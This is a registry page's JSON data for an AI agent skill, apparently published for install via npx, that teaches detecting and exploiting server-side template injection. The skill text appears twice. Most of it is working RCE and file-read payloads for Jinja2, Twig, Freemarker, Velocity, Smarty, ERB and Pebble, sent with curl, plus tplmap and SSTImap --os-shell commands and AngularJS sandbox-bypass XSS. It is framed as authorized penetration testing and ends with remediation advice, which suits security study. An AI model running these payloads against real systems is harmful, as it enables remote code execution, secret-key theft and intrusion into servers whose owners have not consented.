[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EV40GGRCG31F91M5Q6QPWB":3,"skill-same:01M6EV40GGRCG31F91M5Q6QPWB":89},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":50,"commitSha":51,"skillDirectory":52,"forksCount":53,"repositoryHtmlUrl":54,"repositoryHomepageUrl":6,"ownerHtmlUrl":55,"ownerBlogUrl":6,"ownerDescription":56,"updatedAt":57,"install":58,"resources":71},"01M6EV40GGRCG31F91M5Q6QPWB","exploiting-template-injection-vulnerabilities",null,"Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.","luokai0\u002Fai-agent-skills-by-luo-kai","luokai0","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F266954973?v=4","01M6E16VNT42JB8B3X3254QWJ7","luo kai","01M6E16VTFVP6S5XJF1V1MPV90",14,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-template-injection-vulnerabilities\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"vulnerabilities","injection","template","exploiting template injection vulnerabilities","template-injection","detecting","remote","code execution","penetration","server-side","across","application-security","testing","ssti","web-application-security","owasp","server","code","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: exploiting-template-injection-vulnerabilities\ndescription: Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [penetration-testing, ssti, template-injection, rce, web-security, owasp]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Exploiting Template Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when user input is rendered through a server-side template engine\n- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data\n- For assessing applications that allow users to customize templates or notification messages\n- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)\n- During security assessments of CMS platforms, marketing tools, or any application with templating functionality\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **Burp Suite Professional**: For intercepting and modifying template parameters\n- **tplmap**: Automated SSTI exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap.git`)\n- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)\n- **curl**: For manual SSTI payload testing\n- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty\n\n## Workflow\n\n### Step 1: Identify Template Injection Points\n\nFind parameters where user input is processed by a template engine.\n\n```bash\n# Inject mathematical expressions to detect template processing\n# If the server evaluates the expression, SSTI may be present\n\n# Universal detection payloads\nPAYLOADS=(\n  '{{7*7}}'           # Jinja2, Twig\n  '${7*7}'            # Freemarker, Velocity, Spring EL\n  '#{7*7}'            # Thymeleaf, Ruby ERB\n  '\u003C%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)\n  '{7*7}'             # Smarty\n  '{{= 7*7}}'         # doT.js\n  '${{7*7}}'          # AngularJS\u002FSpring\n  '#set($x=7*7)$x'   # Velocity\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$encoded\" | grep -o \"49\"\ndone\n\n# Check common injection locations:\n# - Error pages with reflected input\n# - Profile fields (name, bio, signature)\n# - Email subject\u002Fbody templates\n# - PDF\u002Freport generation with custom fields\n# - Search results pages\n# - 404 pages reflecting the URL path\n# - Notification templates\n```\n\n### Step 2: Identify the Template Engine\n\nDetermine which template engine is in use to select the appropriate exploitation technique.\n\n```bash\n# Decision tree for engine identification:\n# {{7*'7'}} => 7777777 = Jinja2 (Python)\n# {{7*'7'}} => 49 = Twig (PHP)\n# ${7*7} => 49 = Freemarker\u002FVelocity (Java)\n# #{7*7} => 49 = Thymeleaf (Java)\n# \u003C%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)\n\n# Test Jinja2 vs Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{7*'7'}}\"\n# 7777777 = Jinja2\n# 49 = Twig\n\n# Test for Jinja2 specifically\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config}}\"\n# Returns Flask config = Jinja2\u002FFlask\n\n# Test for Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${.now}\"\n# Returns date\u002Ftime = Freemarker\n\n# Test for Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24a=1)%24a\"\n# Returns 1 = Velocity\n\n# Test for Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={php}echo%20'test';{\u002Fphp}\"\n# Returns test = Smarty\n\n# Test for Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{%27test%27.class}}\"\n# Returns class info = Pebble\n\n# Use tplmap for automated engine detection\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\n```\n\n### Step 3: Exploit Jinja2 (Python\u002FFlask)\n\nAchieve code execution through Jinja2 template injection.\n\n```bash\n# Read configuration\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.items()}}\"\n\n# Access secret key\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.SECRET_KEY}}\"\n\n# RCE via Jinja2 - method 1: accessing os module through MRO\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[407](\"id\",shell=True,stdout=-1).communicate()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 2: using cycler\nPAYLOAD='{{cycler.__init__.__globals__.os.popen(\"id\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 3: using lipsum\nPAYLOAD='{{lipsum.__globals__[\"os\"].popen(\"whoami\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# File read via Jinja2\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[40](\"\u002Fetc\u002Fpasswd\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# Enumerate available subclasses to find useful ones\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n```\n\n### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines\n\nUse engine-specific payloads for exploitation.\n\n```bash\n# --- Twig (PHP) ---\n# RCE via Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{['id']|filter('system')}}\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}\"\n\n# Twig file read\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"\n\n# --- Freemarker (Java) ---\n# RCE via Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\\${ex(\\\"id\\\")}\"\n\n# Alternative Freemarker RCE\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"whoami\\\")}\"\n\n# --- Velocity (Java) ---\n# RCE via Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)\"\n\n# --- Smarty (PHP) ---\n# RCE via Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={system('id')}\"\n\n# --- ERB (Ruby) ---\n# RCE via ERB\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C%25=%20system('id')%20%25>\"\n\n# --- Pebble (Java) ---\n# RCE via Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}\"\n```\n\n### Step 5: Automate with tplmap and SSTImap\n\nUse automated tools for comprehensive testing and exploitation.\n\n```bash\n# tplmap - Automated SSTI exploitation\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap with POST parameter\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage\" -d \"name=test\" --os-cmd \"id\"\n\n# tplmap with custom headers\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  -H \"Cookie: session=abc123\" \\\n  -H \"Authorization: Bearer token\" \\\n  --os-cmd \"whoami\"\n\n# SSTImap\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap file read\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  --download \"\u002Fetc\u002Fpasswd\" \"\u002Ftmp\u002Fpasswd\"\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the injectable parameter\n# 3. Load SSTI payload list\n# 4. Grep for indicators: \"49\", error messages, class names\n```\n\n### Step 6: Test Client-Side Template Injection (CSTI)\n\nAssess for Angular\u002FVue\u002FReact expression injection in client-side templates.\n\n```bash\n# AngularJS expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{constructor.constructor('alert(1)')()}}\"\n\n# AngularJS sandbox bypass (pre-1.6)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{a]constructor.prototype.charAt=[].join;[\\$eval('a]alert(1)\u002F\u002F')]()}}\"\n\n# Vue.js expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_c.constructor('alert(1)')()}}\"\n\n# Check for AngularJS ng-app on the page\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"ng-app\\|angular\\|vue\\|v-\"\n\n# Test with different CSTI payloads\nfor payload in '{{7*7}}' '{{constructor.constructor(\"return this\")()}}' \\\n  '{{$on.constructor(\"alert(1)\")()}}'; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload: \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fsearch?q=$encoded\" | grep -oP \"49|alert|constructor\"\ndone\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |\n| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS\u002FVue templates (leads to XSS) |\n| **Template Engine** | Software that processes template files with placeholders, replacing them with data |\n| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |\n| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |\n| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |\n| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |\n| **SSTImap** | Modern SSTI scanner with support for multiple template engines |\n| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |\n| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |\n| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |\n| **OWASP ZAP** | Automated SSTI detection in active scanning mode |\n\n## Common Scenarios\n\n### Scenario 1: Flask Email Template Injection\nA Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.\n\n### Scenario 2: Java CMS Freemarker Injection\nA Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}` to execute commands.\n\n### Scenario 3: Error Page SSTI\nA custom 404 error page reflects the requested URL path through a Twig template. Requesting `\u002F{{['id']|filter('system')}}` causes the server to execute the `id` command.\n\n### Scenario 4: AngularJS Client-Side Injection\nA search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.\n\n## Output Format\n\n```\n## Template Injection Finding\n\n**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET \u002Fpage?name= (name parameter)\n**Template Engine**: Jinja2 (Python 3.9 \u002F Flask 2.3)\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Send GET \u002Fpage?name={{7*7}} - Response contains \"49\" confirming SSTI\n2. Send GET \u002Fpage?name={{config.SECRET_KEY}} - Returns Flask secret key\n3. Send GET \u002Fpage?name={{cycler.__init__.__globals__.os.popen('id').read()}}\n4. Server returns: uid=33(www-data) gid=33(www-data)\n\n### Confirmed Impact\n- Remote code execution as www-data user\n- Secret key disclosure: Flask SECRET_KEY exposed\n- File system read: \u002Fetc\u002Fpasswd, application source code\n- Potential lateral movement to internal network\n\n### Recommendation\n1. Never pass user input directly to template render functions\n2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)\n3. Implement strict input validation and allowlisting for template variables\n4. Use logic-less template engines (Mustache, Handlebars) where possible\n5. Apply least-privilege OS permissions for the web application user\n```\n","# Exploiting Template Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when user input is rendered through a server-side template engine\n- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data\n- For assessing applications that allow users to customize templates or notification messages\n- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)\n- During security assessments of CMS platforms, marketing tools, or any application with templating functionality\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **Burp Suite Professional**: For intercepting and modifying template parameters\n- **tplmap**: Automated SSTI exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap.git`)\n- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)\n- **curl**: For manual SSTI payload testing\n- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty\n\n## Workflow\n\n### Step 1: Identify Template Injection Points\n\nFind parameters where user input is processed by a template engine.\n\n```bash\n# Inject mathematical expressions to detect template processing\n# If the server evaluates the expression, SSTI may be present\n\n# Universal detection payloads\nPAYLOADS=(\n  '{{7*7}}'           # Jinja2, Twig\n  '${7*7}'            # Freemarker, Velocity, Spring EL\n  '#{7*7}'            # Thymeleaf, Ruby ERB\n  '\u003C%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)\n  '{7*7}'             # Smarty\n  '{{= 7*7}}'         # doT.js\n  '${{7*7}}'          # AngularJS\u002FSpring\n  '#set($x=7*7)$x'   # Velocity\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$encoded\" | grep -o \"49\"\ndone\n\n# Check common injection locations:\n# - Error pages with reflected input\n# - Profile fields (name, bio, signature)\n# - Email subject\u002Fbody templates\n# - PDF\u002Freport generation with custom fields\n# - Search results pages\n# - 404 pages reflecting the URL path\n# - Notification templates\n```\n\n### Step 2: Identify the Template Engine\n\nDetermine which template engine is in use to select the appropriate exploitation technique.\n\n```bash\n# Decision tree for engine identification:\n# {{7*'7'}} => 7777777 = Jinja2 (Python)\n# {{7*'7'}} => 49 = Twig (PHP)\n# ${7*7} => 49 = Freemarker\u002FVelocity (Java)\n# #{7*7} => 49 = Thymeleaf (Java)\n# \u003C%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)\n\n# Test Jinja2 vs Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{7*'7'}}\"\n# 7777777 = Jinja2\n# 49 = Twig\n\n# Test for Jinja2 specifically\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config}}\"\n# Returns Flask config = Jinja2\u002FFlask\n\n# Test for Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${.now}\"\n# Returns date\u002Ftime = Freemarker\n\n# Test for Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24a=1)%24a\"\n# Returns 1 = Velocity\n\n# Test for Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={php}echo%20'test';{\u002Fphp}\"\n# Returns test = Smarty\n\n# Test for Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{%27test%27.class}}\"\n# Returns class info = Pebble\n\n# Use tplmap for automated engine detection\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\n```\n\n### Step 3: Exploit Jinja2 (Python\u002FFlask)\n\nAchieve code execution through Jinja2 template injection.\n\n```bash\n# Read configuration\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.items()}}\"\n\n# Access secret key\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.SECRET_KEY}}\"\n\n# RCE via Jinja2 - method 1: accessing os module through MRO\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[407](\"id\",shell=True,stdout=-1).communicate()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 2: using cycler\nPAYLOAD='{{cycler.__init__.__globals__.os.popen(\"id\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 3: using lipsum\nPAYLOAD='{{lipsum.__globals__[\"os\"].popen(\"whoami\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# File read via Jinja2\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[40](\"\u002Fetc\u002Fpasswd\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# Enumerate available subclasses to find useful ones\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n```\n\n### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines\n\nUse engine-specific payloads for exploitation.\n\n```bash\n# --- Twig (PHP) ---\n# RCE via Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{['id']|filter('system')}}\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}\"\n\n# Twig file read\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"\n\n# --- Freemarker (Java) ---\n# RCE via Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\\${ex(\\\"id\\\")}\"\n\n# Alternative Freemarker RCE\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"whoami\\\")}\"\n\n# --- Velocity (Java) ---\n# RCE via Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)\"\n\n# --- Smarty (PHP) ---\n# RCE via Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={system('id')}\"\n\n# --- ERB (Ruby) ---\n# RCE via ERB\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C%25=%20system('id')%20%25>\"\n\n# --- Pebble (Java) ---\n# RCE via Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}\"\n```\n\n### Step 5: Automate with tplmap and SSTImap\n\nUse automated tools for comprehensive testing and exploitation.\n\n```bash\n# tplmap - Automated SSTI exploitation\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap with POST parameter\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage\" -d \"name=test\" --os-cmd \"id\"\n\n# tplmap with custom headers\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  -H \"Cookie: session=abc123\" \\\n  -H \"Authorization: Bearer token\" \\\n  --os-cmd \"whoami\"\n\n# SSTImap\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap file read\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  --download \"\u002Fetc\u002Fpasswd\" \"\u002Ftmp\u002Fpasswd\"\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the injectable parameter\n# 3. Load SSTI payload list\n# 4. Grep for indicators: \"49\", error messages, class names\n```\n\n### Step 6: Test Client-Side Template Injection (CSTI)\n\nAssess for Angular\u002FVue\u002FReact expression injection in client-side templates.\n\n```bash\n# AngularJS expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{constructor.constructor('alert(1)')()}}\"\n\n# AngularJS sandbox bypass (pre-1.6)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{a]constructor.prototype.charAt=[].join;[\\$eval('a]alert(1)\u002F\u002F')]()}}\"\n\n# Vue.js expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_c.constructor('alert(1)')()}}\"\n\n# Check for AngularJS ng-app on the page\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"ng-app\\|angular\\|vue\\|v-\"\n\n# Test with different CSTI payloads\nfor payload in '{{7*7}}' '{{constructor.constructor(\"return this\")()}}' \\\n  '{{$on.constructor(\"alert(1)\")()}}'; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload: \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fsearch?q=$encoded\" | grep -oP \"49|alert|constructor\"\ndone\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |\n| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS\u002FVue templates (leads to XSS) |\n| **Template Engine** | Software that processes template files with placeholders, replacing them with data |\n| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |\n| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |\n| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |\n| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |\n| **SSTImap** | Modern SSTI scanner with support for multiple template engines |\n| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |\n| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |\n| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |\n| **OWASP ZAP** | Automated SSTI detection in active scanning mode |\n\n## Common Scenarios\n\n### Scenario 1: Flask Email Template Injection\nA Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.\n\n### Scenario 2: Java CMS Freemarker Injection\nA Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}` to execute commands.\n\n### Scenario 3: Error Page SSTI\nA custom 404 error page reflects the requested URL path through a Twig template. Requesting `\u002F{{['id']|filter('system')}}` causes the server to execute the `id` command.\n\n### Scenario 4: AngularJS Client-Side Injection\nA search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.\n\n## Output Format\n\n```\n## Template Injection Finding\n\n**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET \u002Fpage?name= (name parameter)\n**Template Engine**: Jinja2 (Python 3.9 \u002F Flask 2.3)\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Send GET \u002Fpage?name={{7*7}} - Response contains \"49\" confirming SSTI\n2. Send GET \u002Fpage?name={{config.SECRET_KEY}} - Returns Flask secret key\n3. Send GET \u002Fpage?name={{cycler.__init__.__globals__.os.popen('id').read()}}\n4. Server returns: uid=33(www-data) gid=33(www-data)\n\n### Confirmed Impact\n- Remote code execution as www-data user\n- Secret key disclosure: Flask SECRET_KEY exposed\n- File system read: \u002Fetc\u002Fpasswd, application source code\n- Potential lateral movement to internal network\n\n### Recommendation\n1. Never pass user input directly to template render functions\n2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)\n3. Implement strict input validation and allowlisting for template variables\n4. Use logic-less template engines (Mustache, Handlebars) where possible\n5. Apply least-privilege OS permissions for the web application user\n```\n",{"name":5,"tags":44,"author":48,"domain":37,"license":15,"version":49,"subdomain":33,"description":7},[45,32,23,46,47,34],"penetration-testing","rce","web-security","mahipal","1.0","main","4d2fb89cdfb75f3f6fd3c6c5ec9ad90ea129eb3c","ai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-template-injection-vulnerabilities",2,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai","https:\u002F\u002Fgithub.com\u002Fluokai0","a solo builder.","2026-05-06 04:29:04",{"source":8,"skillName":5,"commands":59,"prompt":69,"zipAvailable":70},[60,63,66],{"tool":61,"command":62},"npx","npx skills add luokai0\u002Fai-agent-skills-by-luo-kai --skill exploiting-template-injection-vulnerabilities",{"tool":64,"command":65},"bunx","bunx skills add luokai0\u002Fai-agent-skills-by-luo-kai --skill exploiting-template-injection-vulnerabilities",{"tool":67,"command":68},"pnpm","pnpm dlx skills add luokai0\u002Fai-agent-skills-by-luo-kai --skill exploiting-template-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-template-injection-vulnerabilities\u002FSKILL.md",true,[72,77,83],{"path":73,"resourceType":73,"resourceTypeDesc":74,"sizeBytes":75,"sourceHtmlUrl":76},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-template-injection-vulnerabilities\u002FLICENSE",{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"references\u002Fapi-reference.md","REFERENCE","参考文档",1729,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-template-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":84,"resourceType":85,"resourceTypeDesc":86,"size